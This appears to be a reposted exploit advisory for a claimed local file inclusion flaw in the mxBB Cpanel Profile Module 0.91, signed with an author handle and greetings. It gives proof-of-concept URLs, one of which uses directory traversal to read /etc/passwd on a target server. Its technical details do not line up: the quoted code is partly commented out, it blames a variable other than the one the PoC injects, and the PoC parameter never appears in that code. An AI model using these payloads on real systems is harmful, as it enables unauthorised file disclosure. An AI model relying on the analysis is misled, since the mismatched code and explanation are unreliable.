复制内容到剪贴板
代码:
</p><pre>_____ __ __ __ ___
| __ \ | \/ | \ \ / (_)
| | | |_ __ | \ / | __ ___ __ \ \ / / _ _ __ _ _ ___
| | | | '__| | |\/| |/ _` \ \/ / \ \/ / | | '__| | | / __|
| |__| | | | | | | (_| |> < \ / | | | | |_| \__ \
|_____/|_| |_| |_|\__,_/_/\_\ \/ |_|_| \__,_|___/
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
mxBB Cpanel Profile Module Local File Inclusion
Vulnerablity
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Script:mxBB Cpanel Profile Module
Version:0.91
Download:[url]http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=70[/url]
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Author:Dr Max Virus
Location:Egypt
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Bug in :includes/profilcp_constants.php
Vul Code:
if ( !file_exists($mx_root_path . 'modules/mx_profilecp/language/lang_' .
$board_config['default_lang'] . '/lang_main.'.$phpEx ) )
//{
// include( $mx_root_path .
'modules/mx_profilecp/language/lang_english/lang_main.'.$phpEx );
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Problem:The variable of phpEx is not sanitized
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
POC:
http://[target]/[path]/includes/profilcp_constants.php?module_root_path=[File]
http://[target]/[path]/includes/profilcp_constants.php?module_root_path=../../../../../../etc/passwd
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
Thx to:str0ke & All My Friends
Special Gr33ts:AsianEagle & The Master & Kacper
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=
</pre><p> 
